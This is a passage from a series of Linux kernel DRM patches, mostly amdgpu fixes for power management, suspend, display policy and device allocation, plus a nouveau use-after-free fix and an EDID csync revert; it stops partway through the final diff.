Date: Tue, 8 Aug 2023 10:59:25 +0800
Subject: [PATCH 09/19] drm/amdgpu: disable mcbp if parameter zero is set

The parameter amdgpu_mcbp shall have priority against the default value
calculated from the chip version.
User could disable mcbp by setting the parameter mcbp as zero.

v2: do not trigger preemption in sw ring muxer when mcbp is disabled.

Signed-off-by: Jiadong Zhu <Jiadong.Zhu@amd.com>
Acked-by: Alex Deucher <alexander.deucher@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
---
 drivers/gpu/drm/amd/amdgpu/amdgpu_device.c   | 9 +++++----
 drivers/gpu/drm/amd/amdgpu/amdgpu_ring_mux.c | 2 +-
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
index 45e9d737e5b8..5539ec77153f 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
@@ -3722,10 +3722,11 @@ static void amdgpu_device_set_mcbp(struct amdgpu_device *adev)
 {
 	if (amdgpu_mcbp == 1)
 		adev->gfx.mcbp = true;
-
-	if ((adev->ip_versions[GC_HWIP][0] >= IP_VERSION(9, 0, 0)) &&
-	    (adev->ip_versions[GC_HWIP][0] < IP_VERSION(10, 0, 0)) &&
-	    adev->gfx.num_gfx_rings)
+	else if (amdgpu_mcbp == 0)
+		adev->gfx.mcbp = false;
+	else if ((adev->ip_versions[GC_HWIP][0] >= IP_VERSION(9, 0, 0)) &&
+		 (adev->ip_versions[GC_HWIP][0] < IP_VERSION(10, 0, 0)) &&
+		 adev->gfx.num_gfx_rings)
 		adev->gfx.mcbp = true;
 
 	if (amdgpu_sriov_vf(adev))
diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_ring_mux.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_ring_mux.c
index b779ee4bbaa7..e1ee1c7117fb 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_ring_mux.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_ring_mux.c
@@ -397,7 +397,7 @@ void amdgpu_sw_ring_ib_begin(struct amdgpu_ring *ring)
 	struct amdgpu_ring_mux *mux = &adev->gfx.muxer;
 
 	WARN_ON(!ring->is_sw_ring);
-	if (ring->hw_prio > AMDGPU_RING_PRIO_DEFAULT) {
+	if (adev->gfx.mcbp && ring->hw_prio > AMDGPU_RING_PRIO_DEFAULT) {
 		if (amdgpu_mcbp_scan(mux) > 0)
 			amdgpu_mcbp_trigger_preempt(mux);
 		return;

From 6a92761a86817ad15c9a562e2a809386237fae3e Mon Sep 17 00:00:00 2001
From: Umio Yasuno <coelacanth_dream@protonmail.com>
Date: Tue, 8 Aug 2023 06:40:42 +0000
Subject: [PATCH 10/19] drm/amdgpu/pm: fix throttle_status for other than MP1
 11.0.7

Use the right metrics table version based on the firmware.

Link: https://gitlab.freedesktop.org/drm/amd/-/issues/2720
Reviewed-by: Evan Quan <evan.quan@amd.com>
Signed-off-by: Umio Yasuno <coelacanth_dream@protonmail.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Cc: stable@vger.kernel.org
---
 .../drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c    | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/drivers/gpu/drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c b/drivers/gpu/drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c
index 0cda3b276f61..f0800c0c5168 100644
--- a/drivers/gpu/drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c
@@ -588,7 +588,9 @@ static int sienna_cichlid_tables_init(struct smu_context *smu)
 	return -ENOMEM;
 }
 
-static uint32_t sienna_cichlid_get_throttler_status_locked(struct smu_context *smu)
+static uint32_t sienna_cichlid_get_throttler_status_locked(struct smu_context *smu,
+							   bool use_metrics_v3,
+							   bool use_metrics_v2)
 {
 	struct smu_table_context *smu_table= &smu->smu_table;
 	SmuMetricsExternal_t *metrics_ext =
@@ -596,13 +598,11 @@ static uint32_t sienna_cichlid_get_throttler_status_locked(struct smu_context *s
 	uint32_t throttler_status = 0;
 	int i;
 
-	if ((smu->adev->ip_versions[MP1_HWIP][0] == IP_VERSION(11, 0, 7)) &&
-	     (smu->smc_fw_version >= 0x3A4900)) {
+	if (use_metrics_v3) {
 		for (i = 0; i < THROTTLER_COUNT; i++)
 			throttler_status |=
 				(metrics_ext->SmuMetrics_V3.ThrottlingPercentage[i] ? 1U << i : 0);
-	} else if ((smu->adev->ip_versions[MP1_HWIP][0] == IP_VERSION(11, 0, 7)) &&
-	     (smu->smc_fw_version >= 0x3A4300)) {
+	} else if (use_metrics_v2) {
 		for (i = 0; i < THROTTLER_COUNT; i++)
 			throttler_status |=
 				(metrics_ext->SmuMetrics_V2.ThrottlingPercentage[i] ? 1U << i : 0);
@@ -864,7 +864,7 @@ static int sienna_cichlid_get_smu_metrics_data(struct smu_context *smu,
 			metrics->TemperatureVrSoc) * SMU_TEMPERATURE_UNITS_PER_CENTIGRADES;
 		break;
 	case METRICS_THROTTLER_STATUS:
-		*value = sienna_cichlid_get_throttler_status_locked(smu);
+		*value = sienna_cichlid_get_throttler_status_locked(smu, use_metrics_v3, use_metrics_v2);
 		break;
 	case METRICS_CURR_FANSPEED:
 		*value = use_metrics_v3 ? metrics_v3->CurrFanSpeed :
@@ -4017,7 +4017,7 @@ static ssize_t sienna_cichlid_get_gpu_metrics(struct smu_context *smu,
 	gpu_metrics->current_dclk1 = use_metrics_v3 ? metrics_v3->CurrClock[PPCLK_DCLK_1] :
 		use_metrics_v2 ? metrics_v2->CurrClock[PPCLK_DCLK_1] : metrics->CurrClock[PPCLK_DCLK_1];
 
-	gpu_metrics->throttle_status = sienna_cichlid_get_throttler_status_locked(smu);
+	gpu_metrics->throttle_status = sienna_cichlid_get_throttler_status_locked(smu, use_metrics_v3, use_metrics_v2);
 	gpu_metrics->indep_throttle_status =
 			smu_cmn_get_indep_throttler_status(gpu_metrics->throttle_status,
 							   sienna_cichlid_throttler_map);

From 8d036427f0042a91136e6f19a39542eedec4e96c Mon Sep 17 00:00:00 2001
From: Lijo Lazar <lijo.lazar@amd.com>
Date: Thu, 10 Aug 2023 16:10:03 +0530
Subject: [PATCH 11/19] drm/amd/pm: Fix temperature unit of SMU v13.0.6

Temperature needs to be reported in millidegree Celsius.

Signed-off-by: Lijo Lazar <lijo.lazar@amd.com>
Reviewed-by: Yang Wang <kevinyang.wang@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
---
 drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c
index fe4ee2daa5d8..4fafcfbe3e5f 100644
--- a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c
@@ -708,16 +708,19 @@ static int smu_v13_0_6_get_smu_metrics_data(struct smu_context *smu,
 		*value = SMUQ10_TO_UINT(metrics->SocketPower) << 8;
 		break;
 	case METRICS_TEMPERATURE_HOTSPOT:
-		*value = SMUQ10_TO_UINT(metrics->MaxSocketTemperature);
+		*value = SMUQ10_TO_UINT(metrics->MaxSocketTemperature) *
+			 SMU_TEMPERATURE_UNITS_PER_CENTIGRADES;
 		break;
 	case METRICS_TEMPERATURE_MEM:
-		*value = SMUQ10_TO_UINT(metrics->MaxHbmTemperature);
+		*value = SMUQ10_TO_UINT(metrics->MaxHbmTemperature) *
+			 SMU_TEMPERATURE_UNITS_PER_CENTIGRADES;
 		break;
 	/* This is the max of all VRs and not just SOC VR.
 	 * No need to define another data type for the same.
 	 */
 	case METRICS_TEMPERATURE_VRSOC:
-		*value = SMUQ10_TO_UINT(metrics->MaxVrTemperature);
+		*value = SMUQ10_TO_UINT(metrics->MaxVrTemperature) *
+			 SMU_TEMPERATURE_UNITS_PER_CENTIGRADES;
 		break;
 	default:
 		*value = UINT_MAX;

From d621114ffba56b032e91ee82d6469b2f9f0b2427 Mon Sep 17 00:00:00 2001
From: Asad Kamal <asad.kamal@amd.com>
Date: Thu, 10 Aug 2023 20:44:54 +0800
Subject: [PATCH 12/19] drm/amd/pm: Update pci link width for smu v13.0.6

Update addresses of PCIE link width registers,
& link width format used to populate gpu metrics
table for smu v13.0.6

v2:
Removed ESM register update

v3:
Updated patch subject and message

Signed-off-by: Asad Kamal <asad.kamal@amd.com>
Reviewed-by: Lijo Lazar <lijo.lazar@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
---
 drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c
index 4fafcfbe3e5f..dc6104a04dce 100644
--- a/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c
+++ b/drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0_6_ppt.c
@@ -81,9 +81,10 @@
 #define EPSILON 1
 
 #define smnPCIE_ESM_CTRL 0x193D0
-#define smnPCIE_LC_LINK_WIDTH_CNTL 0x1ab40288
+#define smnPCIE_LC_LINK_WIDTH_CNTL 0x1a340288
 #define PCIE_LC_LINK_WIDTH_CNTL__LC_LINK_WIDTH_RD_MASK 0x00000070L
 #define PCIE_LC_LINK_WIDTH_CNTL__LC_LINK_WIDTH_RD__SHIFT 0x4
+#define MAX_LINK_WIDTH 6
 
 static const struct cmn2asic_msg_mapping smu_v13_0_6_message_map[SMU_MSG_MAX_COUNT] = {
 	MSG_MAP(TestMessage,			     PPSMC_MSG_TestMessage,			0),
@@ -1969,6 +1970,7 @@ static ssize_t smu_v13_0_6_get_gpu_metrics(struct smu_context *smu, void **table
 	struct amdgpu_device *adev = smu->adev;
 	int ret = 0, inst0, xcc0;
 	MetricsTable_t *metrics;
+	u16 link_width_level;
 
 	inst0 = adev->sdma.instance[0].aid_id;
 	xcc0 = GET_INST(GC, 0);
@@ -2019,8 +2021,12 @@ static ssize_t smu_v13_0_6_get_gpu_metrics(struct smu_context *smu, void **table
 	gpu_metrics->throttle_status = 0;
 
 	if (!(adev->flags & AMD_IS_APU)) {
+		link_width_level = smu_v13_0_6_get_current_pcie_link_width_level(smu);
+		if (link_width_level > MAX_LINK_WIDTH)
+			link_width_level = 0;
+
 		gpu_metrics->pcie_link_width =
-			smu_v13_0_6_get_current_pcie_link_width_level(smu);
+			DECODE_LANE_WIDTH(link_width_level);
 		gpu_metrics->pcie_link_speed =
 			smu_v13_0_6_get_current_pcie_link_speed(smu);
 	}

From b25fdc048cb2250c7e859184f54d3261b55ad099 Mon Sep 17 00:00:00 2001
From: James Zhu <James.Zhu@amd.com>
Date: Wed, 9 Aug 2023 16:45:04 -0400
Subject: [PATCH 13/19] drm/amdgpu: skip xcp drm device allocation when out of
 drm resource
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Return 0 when drm device alloc failed with -ENOSPC in
order to  allow amdgpu drive loading. But the xcp without
drm device node assigned won't be visiable in user space.
This helps amdgpu driver loading on system which has more
than 64 nodes, the current limitation.

The proposal to add more drm nodes is discussed in public,
which will support up to 2^20 nodes totally.
kernel drm:
https://lore.kernel.org/lkml/20230724211428.3831636-1-michal.winiarski@intel.com/T/
libdrm:
https://gitlab.freedesktop.org/mesa/drm/-/merge_requests/305

Signed-off-by: James Zhu <James.Zhu@amd.com>
Acked-by: Christian König <christian.koenig@amd.com>
Reviewed-by: Felix Kuehling <Felix.Kuehling@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
---
 drivers/gpu/drm/amd/amdgpu/amdgpu_xcp.c   | 13 ++++++++++++-
 drivers/gpu/drm/amd/amdkfd/kfd_topology.c |  9 ++++++++-
 2 files changed, 20 insertions(+), 2 deletions(-)

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_xcp.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_xcp.c
index 9c9cca129498..565a1fa436d4 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_xcp.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_xcp.c
@@ -239,8 +239,13 @@ static int amdgpu_xcp_dev_alloc(struct amdgpu_device *adev)
 
 	for (i = 1; i < MAX_XCP; i++) {
 		ret = amdgpu_xcp_drm_dev_alloc(&p_ddev);
-		if (ret)
+		if (ret == -ENOSPC) {
+			dev_warn(adev->dev,
+			"Skip xcp node #%d when out of drm node resource.", i);
+			return 0;
+		} else if (ret) {
 			return ret;
+		}
 
 		/* Redirect all IOCTLs to the primary device */
 		adev->xcp_mgr->xcp[i].rdev = p_ddev->render->dev;
@@ -328,6 +333,9 @@ int amdgpu_xcp_dev_register(struct amdgpu_device *adev,
 		return 0;
 
 	for (i = 1; i < MAX_XCP; i++) {
+		if (!adev->xcp_mgr->xcp[i].ddev)
+			break;
+
 		ret = drm_dev_register(adev->xcp_mgr->xcp[i].ddev, ent->driver_data);
 		if (ret)
 			return ret;
@@ -345,6 +353,9 @@ void amdgpu_xcp_dev_unplug(struct amdgpu_device *adev)
 		return;
 
 	for (i = 1; i < MAX_XCP; i++) {
+		if (!adev->xcp_mgr->xcp[i].ddev)
+			break;
+
 		p_ddev = adev->xcp_mgr->xcp[i].ddev;
 		drm_dev_unplug(p_ddev);
 		p_ddev->render->dev = adev->xcp_mgr->xcp[i].rdev;
diff --git a/drivers/gpu/drm/amd/amdkfd/kfd_topology.c b/drivers/gpu/drm/amd/amdkfd/kfd_topology.c
index 61fc62f3e003..4a17bb7c7b27 100644
--- a/drivers/gpu/drm/amd/amdkfd/kfd_topology.c
+++ b/drivers/gpu/drm/amd/amdkfd/kfd_topology.c
@@ -1965,7 +1965,14 @@ int kfd_topology_add_device(struct kfd_node *gpu)
 	const char *asic_name = amdgpu_asic_name[gpu->adev->asic_type];
 
 	gpu_id = kfd_generate_gpu_id(gpu);
-	pr_debug("Adding new GPU (ID: 0x%x) to topology\n", gpu_id);
+	if (gpu->xcp && !gpu->xcp->ddev) {
+		dev_warn(gpu->adev->dev,
+		"Won't add GPU (ID: 0x%x) to topology since it has no drm node assigned.",
+		gpu_id);
+		return 0;
+	} else {
+		pr_debug("Adding new GPU (ID: 0x%x) to topology\n", gpu_id);
+	}
 
 	/* Check to see if this gpu device exists in the topology_device_list.
 	 * If so, assign the gpu to that device,

From f1740b1ab2703b2a057da7cf33b03297e0381aa0 Mon Sep 17 00:00:00 2001
From: Tim Huang <Tim.Huang@amd.com>
Date: Mon, 14 Aug 2023 15:13:04 +0800
Subject: [PATCH 14/19] drm/amdgpu: skip fence GFX interrupts disable/enable
 for S0ix

GFX v11.0.1 reported fence fallback timer expired issue on
SDMA and GFX rings after S0ix resume. This is generated by
EOP interrupts are disabled when S0ix suspend but fails to
re-enable when resume because of the GFX is in GFXOFF.

[  203.349571] [drm] Fence fallback timer expired on ring sdma0
[  203.349572] [drm] Fence fallback timer expired on ring gfx_0.0.0
[  203.861635] [drm] Fence fallback timer expired on ring gfx_0.0.0

For S0ix, GFX is in GFXOFF state, avoid to touch the GFX registers
to configure the fence driver interrupts for rings that belong to GFX.
The interrupts configuration will be restored by GFXOFF exit.

Signed-off-by: Tim Huang <Tim.Huang@amd.com>
Reviewed-by: Mario Limonciello <mario.limonciello@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Cc: stable@vger.kernel.org
---
 drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c | 41 +++++++++++++++++++++--
 1 file changed, 39 insertions(+), 2 deletions(-)

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c
index c694b41f6461..7537f5aa76f0 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c
@@ -551,6 +551,41 @@ int amdgpu_fence_driver_sw_init(struct amdgpu_device *adev)
 	return 0;
 }
 
+/**
+ * amdgpu_fence_need_ring_interrupt_restore - helper function to check whether
+ * fence driver interrupts need to be restored.
+ *
+ * @ring: ring that to be checked
+ *
+ * Interrupts for rings that belong to GFX IP don't need to be restored
+ * when the target power state is s0ix.
+ *
+ * Return true if need to restore interrupts, false otherwise.
+ */
+static bool amdgpu_fence_need_ring_interrupt_restore(struct amdgpu_ring *ring)
+{
+	struct amdgpu_device *adev = ring->adev;
+	bool is_gfx_power_domain = false;
+
+	switch (ring->funcs->type) {
+	case AMDGPU_RING_TYPE_SDMA:
+	/* SDMA 5.x+ is part of GFX power domain so it's covered by GFXOFF */
+		if (adev->ip_versions[SDMA0_HWIP][0] >= IP_VERSION(5, 0, 0))
+			is_gfx_power_domain = true;
+		break;
+	case AMDGPU_RING_TYPE_GFX:
+	case AMDGPU_RING_TYPE_COMPUTE:
+	case AMDGPU_RING_TYPE_KIQ:
+	case AMDGPU_RING_TYPE_MES:
+		is_gfx_power_domain = true;
+		break;
+	default:
+		break;
+	}
+
+	return !(adev->in_s0ix && is_gfx_power_domain);
+}
+
 /**
  * amdgpu_fence_driver_hw_fini - tear down the fence driver
  * for all possible rings.
@@ -579,7 +614,8 @@ void amdgpu_fence_driver_hw_fini(struct amdgpu_device *adev)
 			amdgpu_fence_driver_force_completion(ring);
 
 		if (!drm_dev_is_unplugged(adev_to_drm(adev)) &&
-		    ring->fence_drv.irq_src)
+		    ring->fence_drv.irq_src &&
+		    amdgpu_fence_need_ring_interrupt_restore(ring))
 			amdgpu_irq_put(adev, ring->fence_drv.irq_src,
 				       ring->fence_drv.irq_type);
 
@@ -655,7 +691,8 @@ void amdgpu_fence_driver_hw_init(struct amdgpu_device *adev)
 			continue;
 
 		/* enable the interrupt */
-		if (ring->fence_drv.irq_src)
+		if (ring->fence_drv.irq_src &&
+		    amdgpu_fence_need_ring_interrupt_restore(ring))
 			amdgpu_irq_get(adev, ring->fence_drv.irq_src,
 				       ring->fence_drv.irq_type);
 	}

From a7b7d9e8aee4f71b4c7151702fd74237b8cef989 Mon Sep 17 00:00:00 2001
From: Mario Limonciello <mario.limonciello@amd.com>
Date: Thu, 18 May 2023 11:52:51 -0500
Subject: [PATCH 15/19] drm/amd: flush any delayed gfxoff on suspend entry

DCN 3.1.4 is reported to hang on s2idle entry if graphics activity
is happening during entry.  This is because GFXOFF was scheduled as
delayed but RLC gets disabled in s2idle entry sequence which will
hang GFX IP if not already in GFXOFF.

To help this problem, flush any delayed work for GFXOFF early in
s2idle entry sequence to ensure that it's off when RLC is changed.

commit 4b31b92b143f ("drm/amdgpu: complete gfxoff allow signal during
suspend without delay") modified power gating flow so that if called
in s0ix that it ensured that GFXOFF wasn't put in work queue but
instead processed immediately.

This is dead code due to commit 10cb67eb8a1b ("drm/amdgpu: skip
CG/PG for gfx during S0ix") because GFXOFF will now not be explicitly
called as part of the suspend entry code.  Remove that dead code.

Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
Signed-off-by: Tim Huang <tim.huang@amd.com>
Reviewed-by: Lijo Lazar <lijo.lazar@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Cc: stable@vger.kernel.org
---
 drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 +
 drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c    | 9 +--------
 2 files changed, 2 insertions(+), 8 deletions(-)

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
index 5539ec77153f..6238701cde23 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_device.c
@@ -4394,6 +4394,7 @@ int amdgpu_device_suspend(struct drm_device *dev, bool fbcon)
 		drm_fb_helper_set_suspend_unlocked(adev_to_drm(adev)->fb_helper, true);
 
 	cancel_delayed_work_sync(&adev->delayed_init_work);
+	flush_delayed_work(&adev->gfx.gfx_off_delay_work);
 
 	amdgpu_ras_suspend(adev);
 
diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c b/drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c
index a33d4bc34cee..fd81b04559d4 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c
@@ -692,15 +692,8 @@ void amdgpu_gfx_off_ctrl(struct amdgpu_device *adev, bool enable)
 
 		if (adev->gfx.gfx_off_req_count == 0 &&
 		    !adev->gfx.gfx_off_state) {
-			/* If going to s2idle, no need to wait */
-			if (adev->in_s0ix) {
-				if (!amdgpu_dpm_set_powergating_by_smu(adev,
-						AMD_IP_BLOCK_TYPE_GFX, true))
-					adev->gfx.gfx_off_state = true;
-			} else {
-				schedule_delayed_work(&adev->gfx.gfx_off_delay_work,
+			schedule_delayed_work(&adev->gfx.gfx_off_delay_work,
 					      delay);
-			}
 		}
 	} else {
 		if (adev->gfx.gfx_off_req_count == 0) {

From 6ecc10295abb2fdd9c21dd17b34e4cacfd829cd4 Mon Sep 17 00:00:00 2001
From: Alex Deucher <alexander.deucher@amd.com>
Date: Tue, 15 Aug 2023 17:25:37 -0400
Subject: [PATCH 16/19] Revert "Revert "drm/amdgpu/display: change pipe policy
 for DCN 2.0""

This reverts commit 27dd79c00aeab36cd7542c7a4481a32549038659.

It appears MPC_SPLIT_DYNAMIC still causes problems with multiple
displays on DCN2.0 hardware.  Switch back to MPC_SPLIT_AVOID_MULT_DISP.
This increases power usage with multiple displays, but avoids hangs.

Link: https://gitlab.freedesktop.org/drm/amd/-/issues/2475
Cc: Rodrigo Siqueira <Rodrigo.Siqueira@amd.com>
Reviewed-by: Harry Wentland <harry.wentland@amd.com>
Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
Cc: stable@vger.kernel.org # 6.4.x
---
 drivers/gpu/drm/amd/display/dc/dcn20/dcn20_resource.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/gpu/drm/amd/display/dc/dcn20/dcn20_resource.c b/drivers/gpu/drm/amd/display/dc/dcn20/dcn20_resource.c
index 4cc8de2627ce..9f2e24398cd7 100644
--- a/drivers/gpu/drm/amd/display/dc/dcn20/dcn20_resource.c
+++ b/drivers/gpu/drm/amd/display/dc/dcn20/dcn20_resource.c
@@ -712,7 +712,7 @@ static const struct dc_debug_options debug_defaults_drv = {
 		.timing_trace = false,
 		.clock_trace = true,
 		.disable_pplib_clock_request = true,
-		.pipe_split_policy = MPC_SPLIT_DYNAMIC,
+		.pipe_split_policy = MPC_SPLIT_AVOID_MULT_DISP,
 		.force_single_disp_pipe_split = false,
 		.disable_dcc = DCC_ENABLE,
 		.vsr_support = true,

From 1b254b791d7b7dea6e8adc887fbbd51746d8bb27 Mon Sep 17 00:00:00 2001
From: Karol Herbst <kherbst@redhat.com>
Date: Mon, 14 Aug 2023 16:49:32 +0200
Subject: [PATCH 17/19] drm/nouveau/disp: fix use-after-free in error handling
 of nouveau_connector_create

We can't simply free the connector after calling drm_connector_init on it.
We need to clean up the drm side first.

It might not fix all regressions from commit 2b5d1c29f6c4
("drm/nouveau/disp: PIOR DP uses GPIO for HPD, not PMGR AUX interrupts"),
but at least it fixes a memory corruption in error handling related to
that commit.

Link: https://lore.kernel.org/lkml/20230806213107.GFZNARG6moWpFuSJ9W@fat_crate.local/
Fixes: 95983aea8003 ("drm/nouveau/disp: add connector class")
Signed-off-by: Karol Herbst <kherbst@redhat.com>
Reviewed-by: Lyude Paul <lyude@redhat.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230814144933.3956959-1-kherbst@redhat.com
---
 drivers/gpu/drm/nouveau/nouveau_connector.c | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/drivers/gpu/drm/nouveau/nouveau_connector.c b/drivers/gpu/drm/nouveau/nouveau_connector.c
index a2e0033e8a26..622f6eb9a8bf 100644
--- a/drivers/gpu/drm/nouveau/nouveau_connector.c
+++ b/drivers/gpu/drm/nouveau/nouveau_connector.c
@@ -1408,8 +1408,7 @@ nouveau_connector_create(struct drm_device *dev,
 		ret = nvif_conn_ctor(&disp->disp, nv_connector->base.name, nv_connector->index,
 				     &nv_connector->conn);
 		if (ret) {
-			kfree(nv_connector);
-			return ERR_PTR(ret);
+			goto drm_conn_err;
 		}
 
 		ret = nvif_conn_event_ctor(&nv_connector->conn, "kmsHotplug",
@@ -1426,8 +1425,7 @@ nouveau_connector_create(struct drm_device *dev,
 			if (ret) {
 				nvif_event_dtor(&nv_connector->hpd);
 				nvif_conn_dtor(&nv_connector->conn);
-				kfree(nv_connector);
-				return ERR_PTR(ret);
+				goto drm_conn_err;
 			}
 		}
 	}
@@ -1475,4 +1473,9 @@ nouveau_connector_create(struct drm_device *dev,
 
 	drm_connector_register(connector);
 	return connector;
+
+drm_conn_err:
+	drm_connector_cleanup(connector);
+	kfree(nv_connector);
+	return ERR_PTR(ret);
 }

From 50b6f2c8297793f7f3315623db78dcff85158e96 Mon Sep 17 00:00:00 2001
From: Jani Nikula <jani.nikula@intel.com>
Date: Tue, 15 Aug 2023 13:19:07 +0300
Subject: [PATCH 18/19] Revert "drm/edid: Fix csync detailed mode parsing"
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

This reverts commit ca62297b2085b5b3168bd891ca24862242c635a1.

Commit ca62297b2085 ("drm/edid: Fix csync detailed mode parsing") fixed
EDID detailed mode sync parsing. Unfortunately, there are quite a few
displays out there that have bogus (zero) sync field that are broken by
the change. Zero means analog composite sync, which is not right for
digital displays, and the modes get rejected. Regardless, it used to
work, and it needs to continue to work. Revert the change.

Rejecting modes with analog composite sync was the part that fixed the
gitlab issue 8146 [1]. We'll need to get back to the drawing board with
that.

[1] https://gitlab.freedesktop.org/drm/intel/-/issues/8146

Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8789
Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/8930
Closes: https://gitlab.freedesktop.org/drm/intel/-/issues/9044
Fixes: ca62297b2085 ("drm/edid: Fix csync detailed mode parsing")
Cc: Ville Syrjälä <ville.syrjala@linux.intel.com>
Cc: dri-devel@lists.freedesktop.org
Cc: <stable@vger.kernel.org> # v6.4+
Signed-off-by: Jani Nikula <jani.nikula@intel.com>
Acked-by: Ville Syrjälä <ville.syrjala@linux.intel.com>
Link: https://patchwork.freedesktop.org/patch/msgid/20230815101907.2900768-1-jani.nikula@intel.com
---
 drivers/gpu/drm/drm_edid.c | 29 ++++++++---------------------
 include/drm/drm_edid.h     | 12 +++---------
 2 files changed, 11 insertions(+), 30 deletions(-)

diff --git a/drivers/gpu/drm/drm_edid.c b/drivers/gpu/drm/drm_edid.c
index e0dbd9140726..1f470968ed14 100644
--- a/drivers/gpu/drm/drm_edid.c
+++ b/drivers/gpu/drm/drm_edid.c
@@ -3456,6 +3456,10 @@ static struct drm_display_mode *drm_mode_detailed(struct drm_connector *connecto
 			    connector->base.id, connector->name);
 		return NULL;
 	}
+	if (!(pt->misc & DRM_EDID_PT_SEPARATE_SYNC)) {
+		drm_dbg_kms(dev, "[CONNECTOR:%d:%s] Composite sync not supported\n",
+			    connector->base.id, connector->name);
+	}
 
 	/* it is incorrect if hsync/vsync width is zero */
 	if (!hsync_pulse_width || !vsync_pulse_width) {
@@ -3502,27 +3506,10 @@ static struct drm_display_mode *drm_mode_detailed(struct drm_connector *connecto
 	if (info->quirks & EDID_QUIRK_DETAILED_SYNC_PP) {
 		mode->flags |= DRM_MODE_FLAG_PHSYNC | DRM_MODE_FLAG_PVSYNC;
 	} else {
-		switch (pt->misc & DRM_EDID_PT_SYNC_MASK) {
-		case DRM_EDID_PT_ANALOG_CSYNC:
-		case DRM_EDID_PT_BIPOLAR_ANALOG_CSYNC:
-			drm_dbg_kms(dev, "[CONNECTOR:%d:%s] Analog composite sync!\n",
-				    connector->base.id, connector->name);
-			mode->flags |= DRM_MODE_FLAG_CSYNC | DRM_MODE_FLAG_NCSYNC;
-			break;
-		case DRM_EDID_PT_DIGITAL_CSYNC:
-			drm_dbg_kms(dev, "[CONNECTOR:%d:%s] Digital composite sync!\n",
-				    connector->base.id, connector->name);
-			mode->flags |= DRM_MODE_FLAG_CSYNC;
-			mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
-				DRM_MODE_FLAG_PCSYNC : DRM_MODE_FLAG_NCSYNC;
-			break;
-		case DRM_EDID_PT_DIGITAL_SEPARATE_SYNC:
-			mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
-				DRM_MODE_FLAG_PHSYNC : DRM_MODE_FLAG_NHSYNC;
-			mode->flags |= (pt->misc & DRM_EDID_PT_VSYNC_POSITIVE) ?
-				DRM_MODE_FLAG_PVSYNC : DRM_MODE_FLAG_NVSYNC;
-			break;
-		}
+		mode->flags |= (pt->misc & DRM_EDID_PT_HSYNC_POSITIVE) ?
